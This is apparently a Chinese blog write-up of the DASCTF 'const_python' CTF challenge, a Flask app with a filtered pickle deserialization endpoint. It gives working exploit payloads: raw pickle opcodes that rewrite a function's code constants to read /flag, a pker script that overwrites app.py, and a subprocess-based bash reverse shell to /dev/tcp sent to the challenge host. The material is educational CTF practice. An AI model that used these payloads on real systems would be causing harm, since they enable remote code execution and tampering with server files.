DASCTF-const_python

这道题是给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import builtins
import io
import sys
import uuid
from flask import Flask, request,jsonify,session
import pickle
import base64


app = Flask(__name__)

app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "")


class User:
def __init__(self, username, password, auth='ctfer'):
self.username = username
self.password = password
self.auth = auth

password = str(uuid.uuid4()).replace("-", "")
Admin = User('admin', password,"admin")

@app.route('/')
def index():
return "Welcome to my application"


@app.route('/login', methods=['GET', 'POST'])
def post_login():
if request.method == 'POST':

username = request.form['username']
password = request.form['password']


if username == 'admin' :
if password == admin.password:
session['username'] = "admin"
return "Welcome Admin"
else:
return "Invalid Credentials"
else:
session['username'] = username


return '''
<form method="post">
<!-- /src may help you>
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
'''


@app.route('/ppicklee', methods=['POST'])
def ppicklee():
data = request.form['data']

sys.modules['os'] = "not allowed"
sys.modules['sys'] = "not allowed"
try:

pickle_data = base64.b64decode(data)
for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
'compile', 'requests', 'exit', 'pickle',"class","mro","flask","sys","base","init","config","session"}:
if i.encode() in pickle_data:
return i+" waf !!!!!!!"

pickle.loads(pickle_data)
return "success pickle"
except Exception as e:
return "fail pickle"


@app.route('/admin', methods=['POST'])
def admin():
username = session['username']
if username != "admin":
return jsonify({"message": 'You are not admin!'})
return "Welcome Admin"


@app.route('/src')
def src():
return open("app.py", "r",encoding="utf-8").read()

if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5000)

很直白的一道反序列化的题目,而且过滤了很多命令执行的函数,如下

1
2
{"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
'compile', 'requests', 'exit', 'pickle',"class","mro","flask","sys","base","init","config","session"}:

我的pickle学的很垃圾,水平确实是不够,所以就跟着师傅们复现了

预期解

通过**修改字节码来进行文件覆盖**(我看到好多师傅都是用的`pker`,所以我觉得有必要学一下`pker`的用法)

方法的思路是:使用types的CodeType修改常量字节码,修改函数读取的文件,实际就是覆盖app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
types.CodeType(oCode.co_argcount, 
oCode.co_posonlyargcount,
oCode.co_kwonlyargcount,
oCode.co_nlocals,
oCode.co_stacksize,
oCode.co_flags,
oCode.co_code,
oCode.co_consts, # 需要的
oCode.co_names,
oCode.co_varnames,
oCode.co_filename,
oCode.co_name,
oCode.co_firstlineno,
oCode.co_lnotab,
oCode.co_freevars,
oCode.co_cellvars,)

co_consts是我们需要的覆盖的文件名字

1
2
3
4
5
def src():
return open("app.py", "r",encoding="utf-8").read()

oCode = src.__code__.co_consts
print(oCode)

然后我们就可以开始构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def src():
return open("app.py", "r",encoding="utf-8").read()

oCode = src.__code__
src.__code__= types.CodeType(oCode.co_argcount,
oCode.co_posonlyargcount,
oCode.co_kwonlyargcount,
oCode.co_nlocals,
oCode.co_stacksize,
oCode.co_flags,
oCode.co_code,
(None, '/flag', 'r', 'utf-8', ('encoding',))//实际改变点
oCode.co_names,
oCode.co_varnames,
oCode.co_filename,
oCode.co_name,
oCode.co_firstlineno,
oCode.co_lnotab,
oCode.co_freevars,
oCode.co_cellvars,)

编写opcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
op3 = b'''cbuiltins
getattr
p0
c__main__
src
p3
g0
(g3
S'__code__'
tRp4
g0
(g4
S'co_argcount'
tRp5
g0
(g4
S'co_argcount'
tRp6
g0
(g4
S'co_kwonlyargcount'
tRp7
g0
(g4
S'co_nlocals'
tRp8
g0
(g4
S'co_stacksize'
tRp9
g0
(g4
S'co_flags'
tRp10
g0
(g4
S'co_code'
tRp11
(NS'/flag'
S'r'
S'utf-8'
(S'encoding'
ttp12
g0
(g4
S'co_names'
tRp13
g0
(g4
S'co_varnames'
tRp14
g0
(g4
S'co_filename'
tRp15
g0
(g4
S'co_name'
tRp16
g0
(g4
S'co_firstlineno'
tRp17
g0
(g4
S'co_lnotab'
tRp18
g0
(g4
S'co_freevars'
tRp19
g0
(g4
S'co_cellvars'
tRp20
ctypes
CodeType
(g5
I0
g7
g8
g9
g10
g11
g12
g13
g14
g15
g16
g17
g18
g19
g20
tRp21
cbuiltins
setattr
(g3
S"__code__"
g21
tR.'''

简单解释:获取builtins的getattr方法,通过getattr获取到src的__code__,继而获得co_const等参数,获取builtins的setattr,修改__code__为新的CodeType

非预期解

这道题的非预期解很多,我这里搜集了一下我找到的

第一个利用write函数

这是需要构造出来的`payload`

builtins.getattr(builtins.open('1.py', 'w'), 'write')(builtins.getattr(builtins.open('2.py'), 'read')())

利用pker进行构造,如下

1
2
3
4
5
6
7
8
getattr = GLOBAL('builtins', 'getattr')
open = GLOBAL('builtins', 'open')
open1 = open('./app.py', 'w')
write = getattr(open1, 'write')
open2 = open('/flag')
value = getattr(open2, 'read')
value_true = value()
write(value_true)

其实只要你有了payload的模板,是很容易用pker构造出opcode

第二个利用subprocess函数

这个我是用的其他师傅的`demo`,我也是第一次知道可以这么写`opcode`
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import pickle
import base64
import subprocess
import requests



class A():

def __reduce__(self):
return (subprocess.run,(["bash","-c","bash -i >& /dev/tcp/ip/端口 0>&1"],))

a = A()
b = pickle.dumps(a)
print(b)
c = base64.b64encode(b)
print(c)
d = c.decode()

url = 'http://ea9a9302-f080-4704-9957-3bb836bf2bff.node5.buuoj.cn:81/ppicklee'
post_text = requests.post(url,data={'data':f'{d}'})
print(post_text.text)
print(post_text.request.body)

这里要注意的就是c是个字节流,你得给他解码了才能正常发包,然后你就反弹shell就好了


DASCTF-const_python
http://example.com/2025/01/13/DASCTF-const-python/
作者
unjoke
发布于
2025年1月13日
许可协议